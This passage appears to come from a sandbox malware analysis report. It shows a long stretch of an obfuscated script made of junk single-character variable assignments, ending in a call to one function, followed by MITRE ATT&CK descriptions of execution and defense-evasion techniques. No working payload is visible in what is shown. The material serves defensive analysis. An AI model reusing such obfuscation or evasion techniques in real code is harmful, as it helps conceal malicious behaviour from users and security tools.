406	bfhtan = "J";
407	bfhtan = "F";
408	bfhtan = "s";
409	bfhtan = "t";
410	bfhtan = "X";
411	bfhtan = "x";
412	bfhtan = "I";
413	bfhtan = "p";
414	bfhtan = "r";
415	bfhtan = "v";
416	bfhtan = "i";
417	bfhtan = "h";
418	bfhtan = "s";
419	bfhtan = "m";
420	bfhtan = "T";
421	bfhtan = "U";
422	bfhtan = "F";
423	bfhtan = "C";
424	bfhtan = "R";
425	bfhtan = "y";
426	bfhtan = "a";
427	bfhtan = "A";
428	bfhtan = "b";
429	bfhtan = "e";
430	bfhtan = "y";
431	bfhtan = "L";
432	bfhtan = "e";
433	bfhtan = "X";
434	bfhtan = "T";
435	bfhtan = "S";
436	bfhtan = "i";
437	bfhtan = "S";
438	bfhtan = "D";
439	bfhtan = "z";
440	bfhtan = "z";
441	bfhtan = "i";
442	uxgsixqa = "F";
443	uxgsixqa = "G";
444	uxgsixqa = "S";
445	uxgsixqa = "l";
446	uxgsixqa = "k";
447	uxgsixqa = "O";
448	uxgsixqa = "v";
449	uxgsixqa = "k";
450	uxgsixqa = "m";
451	uxgsixqa = "d";
452	uxgsixqa = "j";
453	uxgsixqa = "W";
454	uxgsixqa = "Q";
455	uxgsixqa = "U";
456	uxgsixqa = "S";
457	uxgsixqa = "y";
458	uxgsixqa = "U";
459	uxgsixqa = "R";
460	uxgsixqa = "A";
461	uxgsixqa = "m";
462	uxgsixqa = "h";
463	uxgsixqa = "O";
464	uxgsixqa = "R";
465	uxgsixqa = "v";
466	uxgsixqa = "E";
467	uxgsixqa = "p";
468	uxgsixqa = "W";
469	uxgsixqa = "j";
470	uxgsixqa = "o";
471	uxgsixqa = "o";
472	uxgsixqa = "s";
473	uxgsixqa = "p";
474	uxgsixqa = "Z";
475	uxgsixqa = "q";
476	uxgsixqa = "d";
477	uxgsixqa = "e";
478	uxgsixqa = "2";
479	urgcufn = "B";
480	urgcufn = "M";
481	urgcufn = "Y";
482	urgcufn = "Z";
483	urgcufn = "g";
484	urgcufn = "w";
485	urgcufn = "Y";
486	urgcufn = "l";
487	urgcufn = "p";
488	urgcufn = "c";
489	urgcufn = "F";
490	urgcufn = "B";
491	urgcufn = "a";
492	urgcufn = "D";
493	urgcufn = "N";
494	urgcufn = "v";
495	urgcufn = "r";
496	urgcufn = "t";
497	urgcufn = "L";
498	urgcufn = "F";
499	urgcufn = "n";
500	urgcufn = "G";
501	urgcufn = "g";
502	urgcufn = "D";
503	urgcufn = "Y";
504	urgcufn = "d";
505	urgcufn = "L";
506	urgcufn = "F";
507	urgcufn = "V";
508	urgcufn = "r";
509	urgcufn = "N";
510	urgcufn = "X";
511	urgcufn = "f";
512	urgcufn = "d";
513	urgcufn = "i";
514	urgcufn = "v";
515	urgcufn = "m";
516	urgcufn = "Y";
517	urgcufn = "d";
518	urgcufn = "V";
519	urgcufn = "x";
520	urgcufn = "O";
521	qqjdfuuh = "A";
522	qqjdfuuh = "Z";
523	qqjdfuuh = "i";
524	qqjdfuuh = "e";
525	qqjdfuuh = "e";
526	qqjdfuuh = "L";
527	qqjdfuuh = "n";
528	qqjdfuuh = "U";
529	qqjdfuuh = "i";
530	qqjdfuuh = "c";
531	qqjdfuuh = "Z";
532	qqjdfuuh = "A";
533	qqjdfuuh = "L";
534	qqjdfuuh = "Y";
535	qqjdfuuh = "C";
536	ixphppa = "C";
537	ixphppa = "R";
538	ixphppa = "B";
539	ixphppa = "u";
540	ixphppa = "B";
541	ixphppa = "F";
542	ixphppa = "D";
543	ixphppa = "Z";
544	ixphppa = "z";
545	ixphppa = "s";
546	ixphppa = "X";
547	ixphppa = "N";
548	ixphppa = "b";
549	ixphppa = "i";
550	ixphppa = "L";
551	ixphppa = "K";
552	ixphppa = "y";
553	ixphppa = "q";
554	ixphppa = "S";
555	ixphppa = "Z";
556	ixphppa = "d";
557	ixphppa = "A";
558	ixphppa = "t";
559	ixphppa = "c";
560	ixphppa = "a";
561	ixphppa = "w";
562	ixphppa = "G";
563	ixphppa = "e";
564	ixphppa = "H";
565	ixphppa = "S";
566	ixphppa = "s";
567	ixphppa = "h";
568	ixphppa = "w";
569	ixphppa = "e";
570	myskyc = "M";
571	myskyc = "N";
572	myskyc = "c";
573	myskyc = "J";
574	myskyc = "r";
575	myskyc = "A";
576	myskyc = "R";
577	myskyc = "y";
578	myskyc = "J";
579	myskyc = "A";
580	myskyc = "U";
581	myskyc = "L";
582	myskyc = "P";
583	myskyc = "B";
584	myskyc = "i";
585	myskyc = "l";
586	myskyc = "m";
587	myskyc = "X";
588	myskyc = "R";
589	myskyc = "E";
590	myskyc = "Z";
591	myskyc = "_";
592	pbydhve = "W";
593	pbydhve = "x";
594	pbydhve = "W";
595	pbydhve = "N";
596	pbydhve = "g";
597	pbydhve = "A";
598	pbydhve = "I";
599	pbydhve = "y";
600	pbydhve = "S";
601	pbydhve = "h";
602	pbydhve = "c";
603	pbydhve = "N";
604	pbydhve = "O";
605	pbydhve = "D";
606	pbydhve = "k";
607	pbydhve = "n";
608	pbydhve = "x";
609	pbydhve = "k";
610	pbydhve = "O";
611	pbydhve = "r";
612	pbydhve = "Z";
613	pbydhve = "i";
614	pbydhve = "Q";
615	crjxgv = "q";
616	crjxgv = "B";
617	crjxgv = "O";
618	crjxgv = "J";
619	crjxgv = "w";
620	crjxgv = "v";
621	crjxgv = "B";
622	crjxgv = "D";
623	crjxgv = "C";
624	crjxgv = "n";
625	crjxgv = "d";
626	crjxgv = "B";
627	crjxgv = "F";
628	crjxgv = "I";
629	crjxgv = "n";
630	crjxgv = "e";
631	crjxgv = "N";
632	crjxgv = "D";
633	crjxgv = "S";
634	crjxgv = "a";
635	crjxgv = "f";
636	crjxgv = "G";
637	crjxgv = "w";
638	ayunu = "C";
639	ayunu = "G";
640	ayunu = "N";
641	ayunu = "Q";
642	ayunu = "M";
643	ayunu = "j";
644	ayunu = "v";
645	ayunu = "c";
646	ayunu = "Y";
647	ayunu = "c";
648	ayunu = "E";
649	ayunu = "V";
650	ayunu = "n";
651	ayunu = "R";
652	ayunu = "n";
653	ayunu = "N";
654	ayunu = "f";
655	ayunu = "M";
656	ayunu = "i";
657	ayunu = "D";
658	ayunu = "J";
659	ayunu = "S";
660	ayunu = "s";
661	ayunu = "I";
662	vrygpqxkr = "M";
663	vrygpqxkr = "C";
664	vrygpqxkr = "E";
665	vrygpqxkr = "t";
666	vrygpqxkr = "n";
667	vrygpqxkr = "S";
668	vrygpqxkr = "I";
669	vrygpqxkr = "r";
670	vrygpqxkr = "L";
671	vrygpqxkr = "B";
672	vrygpqxkr = "p";
673	vrygpqxkr = "h";
674	vrygpqxkr = "K";
675	vrygpqxkr = "g";
676	vrygpqxkr = "Q";
677	vrygpqxkr = "p";
678	vrygpqxkr = "A";
679	vrygpqxkr = "P";
680	vrygpqxkr = "B";
681	vrygpqxkr = "N";
682	vrygpqxkr = "a";
683	vrygpqxkr = "o";
684	vrygpqxkr = "f";
685	vrygpqxkr = "T";
686	vrygpqxkr = "O";
687	vrygpqxkr = "Y";
688	vrygpqxkr = "L";
689	vrygpqxkr = "K";
690	vrygpqxkr = "G";
691	vrygpqxkr = "m";
692	vrygpqxkr = "b";
693	vrygpqxkr = "A";
694	vrygpqxkr = "C";
695	vrygpqxkr = "e";
696	vrygpqxkr = "y";
697	vrygpqxkr = "A";
698	vrygpqxkr = "I";
699	vrygpqxkr = "m";
700	vrygpqxkr = "q";
701	lrupw = "u";
702	lrupw = "v";
703	lrupw = "R";
704	nyahlrcy = "L";
705	nyahlrcy = "B";
706	nyahlrcy = "c";
707	nyahlrcy = "N";
708	nyahlrcy = "N";
709	nyahlrcy = "W";
710	jkttdhxaa = "d";
711	jkttdhxaa = "q";
712	jkttdhxaa = "v";
713	jkttdhxaa = "g";
714	jkttdhxaa = "f";
715	jkttdhxaa = "D";
716	jkttdhxaa = "D";
717	jkttdhxaa = "J";
718	jkttdhxaa = "I";
719	jkttdhxaa = "p";
720	jkttdhxaa = "M";
721	jkttdhxaa = "s";
722	jkttdhxaa = "g";
723	jkttdhxaa = "D";
724	jkttdhxaa = "R";
725	jkttdhxaa = "b";
726	jkttdhxaa = "S";
727	jkttdhxaa = "C";
728	jkttdhxaa = "A";
729	jkttdhxaa = "k";
730	jkttdhxaa = "g";
731	jkttdhxaa = "h";
732	jkttdhxaa = "T";
733	jkttdhxaa = "V";
734	jkttdhxaa = "x";
735	fatrzvd = "L";
736	fatrzvd = "f";
737	fatrzvd = "k";
738	fatrzvd = "Y";
739	fatrzvd = "k";
740	fatrzvd = "S";
741	fatrzvd = "X";
742	fatrzvd = "d";
743	fatrzvd = "A";
744	fatrzvd = "u";
745	fatrzvd = "B";
746	fatrzvd = "K";
747	fatrzvd = "v";
748	rqbty = "V";
749	rqbty = "K";
750	rqbty = "j";
751	rqbty = "q";
752	rqbty = "z";
753	rqbty = "G";
754	rqbty = "u";
755	rqbty = "u";
756	rqbty = "i";
757	rqbty = "H";
758	rqbty = "R";
759	rqbty = "T";
760	rqbty = "P";
761	rqbty = "s";
762	rqbty = "F";
763	rqbty = "o";
764	rqbty = "z";
765	rqbty = "J";
766	rqbty = "A";
767	rqbty = "x";
768	rqbty = "G";
769	rqbty = "c";
770	rqbty = "R";
771	rqbty = "U";
772	rqbty = "g";
773	rqbty = "o";
774	rqbty = "r";
775	rqbty = "j";
776	rqbty = "Q";
777	rqbty = "Q";
778	rqbty = "g";
779	rqbty = "e";
780	rqbty = "m";
781	qsgaepgcy = "R";
782	qsgaepgcy = "u";
783	qsgaepgcy = "J";
784	qsgaepgcy = "w";
785	qsgaepgcy = "G";
786	qsgaepgcy = "s";
787	qsgaepgcy = "M";
788	qsgaepgcy = "d";
789	qsgaepgcy = "q";
790	qsgaepgcy = "a";
791	qsgaepgcy = "N";
792	qsgaepgcy = "h";
793	qsgaepgcy = "p";
794	qsgaepgcy = "a";
795	qsgaepgcy = "m";
796	qsgaepgcy = "W";
797	qsgaepgcy = "E";
798	qsgaepgcy = "S";
799	qsgaepgcy = "K";
800	qsgaepgcy = "Z";
801	qsgaepgcy = "q";
802	qsgaepgcy = "n";
803	qsgaepgcy = "H";
804	qsgaepgcy = "O";
805	qsgaepgcy = "l";
806	qsgaepgcy = "%";
807	xdxcz = "q";
808	xdxcz = "C";
809	xdxcz = "O";
810	xdxcz = "L";
811	xdxcz = "i";
812	xdxcz = "R";
813	xdxcz = "Z";
814	xdxcz = "W";
815	xdxcz = "Y";
816	xdxcz = "w";
817	xdxcz = "P";
818	xdxcz = "v";
819	xdxcz = "F";
820	xdxcz = "0";
821	bzwkblp = "a";
822	bzwkblp = "e";
823	bzwkblp = "z";
824	bzwkblp = "Z";
825	bzwkblp = "R";
826	bzwkblp = "Q";
827	bzwkblp = "s";
828	bzwkblp = "w";
829	bzwkblp = "L";
830	bzwkblp = "l";
831	bzwkblp = "s";
832	bzwkblp = "H";
833	bzwkblp = "I";
834	bzwkblp = "K";
835	bzwkblp = "j";
836	bzwkblp = "O";
837	bzwkblp = "Y";
838	bzwkblp = "o";
839	bzwkblp = "W";
840	bzwkblp = "i";
841	bzwkblp = "W";
842	bzwkblp = "M";
843	bzwkblp = "l";
844	bzwkblp = "U";
845	bzwkblp = "t";
846	bzwkblp = "X";
847	bzwkblp = "l";
848	bzwkblp = "M";
849	bzwkblp = "i";
850	bzwkblp = "S";
851	bzwkblp = "U";
852	bzwkblp = "V";
853	bzwkblp = "j";
854	cyozw = "g";
855	cyozw = "I";
856	cyozw = "v";
857	cyozw = "B";
858	cyozw = "b";
859	cyozw = "x";
860	cyozw = "k";
861	cyozw = "k";
862	cyozw = "W";
863	cyozw = "u";
864	cyozw = "Z";
865	cyozw = "U";
866	cyozw = "i";
867	cyozw = "E";
868	cyozw = "4";
869	vlrjirmzy = "e";
870	vlrjirmzy = "P";
871	vlrjirmzy = "E";
872	vlrjirmzy = "l";
873	vlrjirmzy = "d";
874	vlrjirmzy = "c";
875	vlrjirmzy = "x";
876	vlrjirmzy = "d";
877	vlrjirmzy = "x";
878	vlrjirmzy = "c";
879	vlrjirmzy = "Q";
880	vlrjirmzy = "b";
881	vlrjirmzy = "y";
882	vlrjirmzy = "B";
883	vlrjirmzy = "T";
884	vlrjirmzy = "n";
885	vlrjirmzy = "S";
886	vlrjirmzy = "q";
887	vlrjirmzy = "c";
888	vlrjirmzy = "r";
889	vlrjirmzy = "T";
890	vlrjirmzy = "h";
891	vlrjirmzy = "c";
892	vlrjirmzy = "L";
893	vlrjirmzy = "M";
894	vlrjirmzy = "d";
895	vlrjirmzy = "i";
896	vlrjirmzy = "C";
897	vlrjirmzy = "u";
898	vlrjirmzy = "m";
899	vlrjirmzy = "V";
900	vlrjirmzy = "t";
901	vlrjirmzy = "p";
902	vlrjirmzy = "G";
903	vlrjirmzy = "s";
904	vlrjirmzy = "B";
905	vlrjirmzy = "g";
906	vlrjirmzy = "j";
907	vlrjirmzy = "i";
908	vlrjirmzy = ".";
909	fkozvkku = "U";
910	fkozvkku = "b";
911	fkozvkku = "g";
912	fkozvkku = "z";
913	fkozvkku = "X";
914	fkozvkku = "n";
915	fkozvkku = "k";
916	fkozvkku = "I";
917	fkozvkku = "d";
918	fkozvkku = "P";
919	fkozvkku = "E";
920	fkozvkku = "F";
921	fkozvkku = "t";
922	fkozvkku = "k";
923	fkozvkku = "L";
924	fkozvkku = "I";
925	fkozvkku = "k";
926	fkozvkku = "c";
927	zlegoxnn = "Y";
928	zlegoxnn = "t";
929	zlegoxnn = "P";
930	zlegoxnn = "y";
931	zlegoxnn = "I";
932	zlegoxnn = "W";
933	zlegoxnn = "O";
934	zlegoxnn = "K";
935	zlegoxnn = "B";
936	zlegoxnn = "k";
937	zlegoxnn = "a";
938	zlegoxnn = "Y";
939	zlegoxnn = "W";
940	zlegoxnn = "b";
941	zlegoxnn = "G";
942	zlegoxnn = "a";
943	zlegoxnn = "l";
944	zlegoxnn = "x";
945	zlegoxnn = "M";
946	zlegoxnn = "N";
947	zlegoxnn = "l";
948	zlegoxnn = "G";
949	zlegoxnn = "r";
950	zlegoxnn = "V";
951	zlegoxnn = "j";
952	zlegoxnn = "y";
953	zlegoxnn = "B";
954	zlegoxnn = "O";
955	zlegoxnn = "8";
956	tmiiqzi = "Y";
957	tmiiqzi = "E";
958	tmiiqzi = "V";
959	tmiiqzi = "H";
960	tmiiqzi = "R";
961	tmiiqzi = "d";
962	tmiiqzi = "i";
963	tmiiqzi = "b";
964	tmiiqzi = "L";
965	tmiiqzi = " ";
966	bnbjd = "R";
967	bnbjd = "c";
968	bnbjd = "X";
969	bnbjd = "d";
970	bnbjd = "R";
971	bnbjd = "n";
972	bnbjd = "O";
973	bnbjd = "Y";
974	bnbjd = "C";
975	bnbjd = "a";
976	bnbjd = "H";
977	bnbjd = "d";
978	bnbjd = "z";
979	bnbjd = "g";
980	bnbjd = "H";
981	zlfksxwwi = "t";
982	zlfksxwwi = "Y";
983	zlfksxwwi = "S";
984	zlfksxwwi = "h";
985	zlfksxwwi = "V";
986	zlfksxwwi = "A";
987	zlfksxwwi = "W";
988	zlfksxwwi = "e";
989	zlfksxwwi = "E";
990	zlfksxwwi = "1";
991	wmqtrxfv = "Y";
992	wmqtrxfv = "c";
993	wmqtrxfv = "c";
994	wmqtrxfv = "d";
995	wmqtrxfv = "p";
996	wmqtrxfv = "d";
997	wmqtrxfv = "g";
998	wmqtrxfv = "g";
999	wmqtrxfv = "A";
1000	wmqtrxfv = "N";
1001	wmqtrxfv = "s";
1002	wmqtrxfv = "t";
1003	ixyrqltn = "R";
1004	ixyrqltn = "i";
1005	ixyrqltn = "h";
1006	ixyrqltn = "S";
1007	ixyrqltn = "X";
1008	ixyrqltn = "y";
1009	ixyrqltn = "g";
1010	ixyrqltn = "F";
1011	ixyrqltn = "h";
1012	ixyrqltn = "K";
1013	ixyrqltn = "v";
1014	ixyrqltn = "y";
1015	ixyrqltn = "w";
1016	ixyrqltn = "q";
1017	ixyrqltn = "N";
1018	ixyrqltn = "E";
1019	ixyrqltn = "O";
1020	ixyrqltn = "V";
1021	ixyrqltn = "P";
1022	ixyrqltn = "k";
1023	ixyrqltn = "b";
1024	ixyrqltn = "B";
1025	ixyrqltn = "R";
1026	ixyrqltn = "N";
1027	ixyrqltn = "z";
1028	ixyrqltn = "I";
1029	ixyrqltn = "K";
1030	ixyrqltn = "G";
1031	ixyrqltn = "O";
1032	ixyrqltn = "n";
1033	ixyrqltn = "w";
1034	ixyrqltn = "e";
1035	ixyrqltn = "S";
1036	ixyrqltn = "E";
1037	ixyrqltn = "W";
1038	ixyrqltn = "e";
1039	ixyrqltn = "Y";
1040	ixyrqltn = "G";
1041	ixyrqltn = "s";
1042	ixyrqltn = "g";
1043	ixyrqltn = "r";
1044	tzwlelw = "P";
1045	tzwlelw = "f";
1046	tzwlelw = "J";
1047	tzwlelw = "B";
1048	tzwlelw = "O";
1049	tzwlelw = "u";
1050	tzwlelw = "t";
1051	tzwlelw = "a";
1052	tzwlelw = "C";
1053	tzwlelw = "i";
1054	tzwlelw = "e";
1055	tzwlelw = "m";
1056	tzwlelw = "d";
1057	tzwlelw = "o";
1058	tzwlelw = "h";
1059	tzwlelw = "F";
1060	tzwlelw = "f";
1061	tzwlelw = "c";
1062	tzwlelw = "Z";
1063	tzwlelw = "M";
1064	tzwlelw = "P";
1065	tzwlelw = "o";
1066	athoz = "p";
1067	athoz = "E";
1068	athoz = "V";
1069	athoz = "B";
1070	athoz = "k";
1071	athoz = "g";
1072	athoz = "i";
1073	athoz = "v";
1074	athoz = "U";
1075	athoz = "J";
1076	athoz = "n";
1077	athoz = "r";
1078	athoz = "q";
1079	athoz = "V";
1080	athoz = "w";
1081	athoz = "k";
1082	pqujts = "s";
1083	pqujts = "c";
1084	pqujts = "I";
1085	pqujts = "q";
1086	pqujts = "t";
1087	pqujts = "p";
1088	pqujts = "h";
1089	pqujts = "r";
1090	pqujts = "q";
1091	pqujts = "q";
1092	pqujts = "I";
1093	pqujts = "Q";
1094	pqujts = "m";
1095	pqujts = "X";
1096	pqujts = "c";
1097	pqujts = "j";
1098	pqujts = "D";
1099	pqujts = "V";
1100	pqujts = "w";
1101	pqujts = "d";
1102	pqujts = "U";
1103	pqujts = "t";
1104	pqujts = "r";
1105	pqujts = "N";
1106	pqujts = "y";
1107	pqujts = "w";
1108	pqujts = "e";
1109	pqujts = "c";
1110	pqujts = "3";
1111	zcexxjwvo = "u";
1112	zcexxjwvo = "J";
1113	zcexxjwvo = "t";
1114	zcexxjwvo = "K";
1115	zcexxjwvo = "p";
1116	zcexxjwvo = "O";
1117	zcexxjwvo = "P";
1118	zcexxjwvo = "Q";
1119	zcexxjwvo = "I";
1120	zcexxjwvo = "l";
1121	zluvwy = "q";
1122	zluvwy = "O";
1123	zluvwy = "B";
1124	zluvwy = "W";
1125	zluvwy = "X";
1126	zluvwy = "a";
1127	zluvwy = "v";
1128	zluvwy = "W";
1129	zluvwy = "h";
1130	ivvovhze = "K";
1131	ivvovhze = "O";
1132	ivvovhze = "E";
1133	ivvovhze = "f";
1134	ivvovhze = "U";
1135	ivvovhze = "j";
1136	ivvovhze = "j";
1137	ivvovhze = "h";
1138	ivvovhze = "A";
1139	ivvovhze = "B";
1140	ivvovhze = "n";
1141	ivvovhze = "q";
1142	ivvovhze = "X";
1143	ivvovhze = "g";
1144	ivvovhze = "Z";
1145	ivvovhze = "T";
1146	ivvovhze = "t";
1147	ivvovhze = "i";
1148	ivvovhze = "Q";
1149	ivvovhze = "A";
1150	ivvovhze = "q";
1151	ivvovhze = "I";
1152	ivvovhze = "r";
1153	ivvovhze = "k";
1154	ivvovhze = "G";
1155	ivvovhze = "J";
1156	ivvovhze = "h";
1157	ivvovhze = "s";
1158	ivvovhze = "z";
1159	ivvovhze = "U";
1160	ivvovhze = "w";
1161	ivvovhze = "h";
1162	ivvovhze = "g";
1163	ivvovhze = "b";
1164	ivvovhze = "n";
1165	ivvovhze = "Z";
1166	ivvovhze = "m";
1167	ivvovhze = "N";
1168	ivvovhze = "r";
1169	ivvovhze = "m";
1170	ivvovhze = "q";
1171	ivvovhze = "U";
1172	bfjhpgla = "W";
1173	bfjhpgla = "u";
1174	bfjhpgla = "M";
1175	bfjhpgla = "F";
1176	bfjhpgla = "e";
1177	bfjhpgla = "L";
1178	bfjhpgla = "o";
1179	bfjhpgla = "W";
1180	bfjhpgla = "C";
1181	bfjhpgla = "M";
1182	bfjhpgla = "C";
1183	bfjhpgla = "O";
1184	bfjhpgla = "j";
1185	bfjhpgla = "S";
1186	bfjhpgla = "\\";
1187	imqlpw = "d";
1188	imqlpw = "P";
1189	imqlpw = "N";
1190	imqlpw = "R";
1191	imqlpw = "S";
1192	imqlpw = "c";
1193	imqlpw = "V";
1194	imqlpw = "&";
1195	aufzaac = "t";
1196	aufzaac = "h";
1197	aufzaac = "S";
1198	aufzaac = "U";
1199	aufzaac = "O";
1200	aufzaac = "x";
1201	aufzaac = "u";
1202	aufzaac = "Z";
1203	aufzaac = "a";
1204	aufzaac = "b";
1205	okkaezzm = "U";
1206	okkaezzm = "P";
1207	oehkwdzde = "a";
1208	oehkwdzde = "m";
1209	oehkwdzde = "b";
1210	oehkwdzde = "u";
1211	oehkwdzde = "Y";
1212	oehkwdzde = "y";
1213	oehkwdzde = "H";
1214	oehkwdzde = "F";
1215	oehkwdzde = "y";
1216	oehkwdzde = "k";
1217	oehkwdzde = "g";
1218	oehkwdzde = "t";
1219	oehkwdzde = "x";
1220	oehkwdzde = "Y";
1221	oehkwdzde = "q";
1222	oehkwdzde = "D";
1223	oehkwdzde = "W";
1224	oehkwdzde = "L";
1225	oehkwdzde = "h";
1226	oehkwdzde = "r";
1227	oehkwdzde = "s";
1228	oehkwdzde = "K";
1229	oehkwdzde = "n";
1230	oehkwdzde = "l";
1231	oehkwdzde = "G";
1232	oehkwdzde = "7";
1233	wvurqhhma = "r";
1234	wvurqhhma = "A";
1235	wvurqhhma = "k";
1236	wvurqhhma = "O";
1237	wvurqhhma = "O";
1238	wvurqhhma = "w";
1239	wvurqhhma = "9";
1240	ijppcl = "Z";
1241	ijppcl = "I";
1242	ijppcl = "A";
1243	ijppcl = "h";
1244	ijppcl = "H";
1245	ijppcl = "p";
1246	ijppcl = "i";
1247	ijppcl = "I";
1248	ijppcl = "Q";
1249	ijppcl = "Q";
1250	ijppcl = "f";
1251	ijppcl = "m";
1252	ijppcl = "F";
1253	ijppcl = "h";
1254	ijppcl = "D";
1255	ijppcl = "A";
1256	ijppcl = "T";
1257	ijppcl = "D";
1258	ijppcl = "P";
1259	ijppcl = "q";
1260	ijppcl = "M";
1261	ijppcl = "@";
1262	zqcjys = "K";
1263	zqcjys = "T";
1264	zqcjys = "B";
1265	zqcjys = "n";
1266	zqcjys = "F";
1267	zqcjys = "s";
1268	zqcjys = "m";
1269	zqcjys = "c";
1270	zqcjys = "t";
1271	zqcjys = "-";
1272	yzpfylo = "y";
1273	yzpfylo = "A";
1274	yzpfylo = "T";
1275	yzpfylo = "G";
1276	yzpfylo = "B";
1277	yzpfylo = "p";
1278	yzpfylo = "q";
1279	yzpfylo = "e";
1280	yzpfylo = "A";
1281	yzpfylo = "U";
1282	yzpfylo = "f";
1283	yzpfylo = "f";
1284	yzpfylo = "Q";
1285	yzpfylo = "i";
1286	yzpfylo = "W";
1287	yzpfylo = "a";
1288	yzpfylo = "I";
1289	yzpfylo = "O";
1290	yzpfylo = "P";
1291	yzpfylo = "I";
1292	yzpfylo = "x";
1293	yzpfylo = "X";
1294	yzpfylo = "z";
1295	yzpfylo = "X";
1296	yzpfylo = "b";
1297	yzpfylo = "p";
1298	yzpfylo = "v";
1299	yzpfylo = "n";
1300	yzpfylo = "L";
1301	yzpfylo = "e";
1302	yzpfylo = "l";
1303	yzpfylo = "z";
1304	yzpfylo = "m";
1305	yzpfylo = "j";
1306	yzpfylo = "F";
1307	yzpfylo = "f";
1308	yzpfylo = "N";
1309	yzpfylo = "a";
1310	yzpfylo = "V";
1311	yzpfylo = "O";
1312	yzpfylo = "v";
1313	yzpfylo = "I";
1314	yzpfylo = "F";
1315	aqkldx = "N";
1316	aqkldx = "u";
1317	aqkldx = "t";
1318	aqkldx = "E";
1319	xstkv = "D";
1320	xstkv = "a";
1321	xstkv = "A";
1322	xstkv = "U";
1323	xstkv = "p";
1324	xstkv = "m";
1325	xstkv = "C";
1326	xstkv = "j";
1327	xstkv = "Q";
1328	xstkv = "I";
1329	xstkv = "M";
1330	xstkv = "X";
1331	xstkv = "z";
1332	xstkv = "T";
1333	xstkv = "y";
1334	xstkv = "H";
1335	xstkv = "A";
1336	xstkv = "l";
1337	xstkv = "e";
1338	xstkv = "q";
1339	xstkv = "T";
1340	xstkv = "S";
1341	xstkv = "t";
1342	xstkv = "n";
1343	xstkv = "X";
1344	xstkv = "U";
1345	xstkv = "l";
1346	xstkv = "E";
1347	xstkv = "W";
1348	xstkv = "u";
1349	xstkv = "o";
1350	xstkv = "B";
1351	xstkv = "g";
1352	xstkv = "t";
1353	xstkv = "C";
1354	xstkv = "q";
1355	xstkv = "G";
1356	xstkv = "e";
1357	xstkv = "v";
1358	xstkv = "p";
1359	xstkv = "n";
1360	cdirpbe = "Q";
1361	cdirpbe = "j";
1362	cdirpbe = "H";
1363	cdirpbe = "r";
1364	cdirpbe = "j";
1365	cdirpbe = "k";
1366	cdirpbe = "S";
1367	cdirpbe = "c";
1368	cdirpbe = "h";
1369	cdirpbe = "p";
1370	cdirpbe = "K";
1371	noqikln ( );	noqikln() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

